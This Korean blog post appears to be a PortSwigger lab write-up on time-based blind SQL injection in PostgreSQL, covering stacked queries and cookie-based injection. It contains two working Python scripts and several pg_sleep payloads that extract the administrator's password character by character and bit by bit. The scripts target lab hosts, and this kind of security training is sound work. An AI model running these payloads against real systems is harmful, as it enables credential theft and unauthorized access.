2025. 6. 22. 23:17ㆍWeb Security/bugbounty & PortSwigger
아무런 반응의 차이가 없을 때 time delay를 통해서 sqlinjection을 수행할 수 있다. 이것이 blind sql injection via time delay이다.
해당 문제이서는 서버에서 Batched (or stacked) queries 해당 방법이 가능했다. 하지만 뭐 현실적으로 해당 취약점이 얼마나 있나 싶다.
아래는 stacked Queries에 대한 내용이다
Stacked Queries
You can use stacked queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle doesn't support stacked queries. MySQL, Microsoft and PostgreSQL support them: QUERY-1-HERE; QUERY-2-HERE
Stacked Queries를 통한 blind sql injection 공격방법이다.
import requests
import time
import string
password = ""
s= string.ascii_lowercase + string.digits
url = "https://0a1b00320466f3258205016b00c60014.web-security-academy.net/"
for l in range(1,21):
for i in s:
payload= payload = f"xx'%3BSELECT+CASE+WHEN+substring((select password from users where username='administrator'),{l},1)='{i}'+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END--"
cookies = {
"TrackingId":payload,
}
print(payload)
start = time.time()
response = requests.get(url, cookies=cookies)
elapsed = time.time() - start
if elapsed > 5:
password = password + i
print(password)
break
Stacked Queries 를 사용하지 않는 방법
일단 취약점이 있는지 확인하기 위해서 다음과 같은 쿼리를 날린다. 이에 10초 뒤에 온다 이를 통해서 취약점이 존재한다는 사실을 알 수 있다. https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html#confirming-with-timing
TrackingId=TrackingId=ab1' || pg_sleep(10)--
이를 통해서 다음과 같은 방법을 통하면 데이터 베이스에서 Stacked Queries를 통하지 않고 추출할 수 있다.
1' || (SELECT CASE WHEN substring((SELECT password FROM users WHERE username='administrator'),1,1)='w' THEN pg_sleep(5) ELSE pg_sleep(0) END)--;
또한 위와 같은 방법을 통하면 너무 많은 요청을 보내야한다. 그래서 bit 단위로 쪼개서 보내면 다음과 같다.
import requests
import time
import string
password = []
s= string.ascii_lowercase + string.digits
url = "https://0a7e00f103249cf080ef7b2300530045.web-security-academy.net/"
data_byte=0
for l in range(1,21):
for i in range(0, 8):
bit = 2 ** i
payload= payload = f"1' || (SELECT CASE WHEN ascii(substring((SELECT password FROM users WHERE username='administrator'),{l},1)) & {bit} = {bit} THEN pg_sleep(5) ELSE pg_sleep(0) END)--"
cookies = {
"TrackingId":payload,
}
print(payload)
start = time.time()
response = requests.get(url, cookies=cookies)
elapsed = time.time() - start
if elapsed > 5:
data_byte += bit
password.append(chr(data_byte))
data_byte = 0
print("".join(password))
print("".join(password))
#1' || (SELECT CASE WHEN ascii(substring((SELECT password FROM users WHERE username='administrator'),1,1)) & 1 = 1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--
'Web Security > bugbounty & PortSwigger' 카테고리의 다른 글
file upload 취약점 (0) | 2025.07.07 |
---|---|
WebSockets Vulnerability (0) | 2025.07.02 |
blind SQL injection by triggering conditional errors (0) | 2025.06.21 |
버그 바운티 RECON. feat hackerone (1) | 2024.10.25 |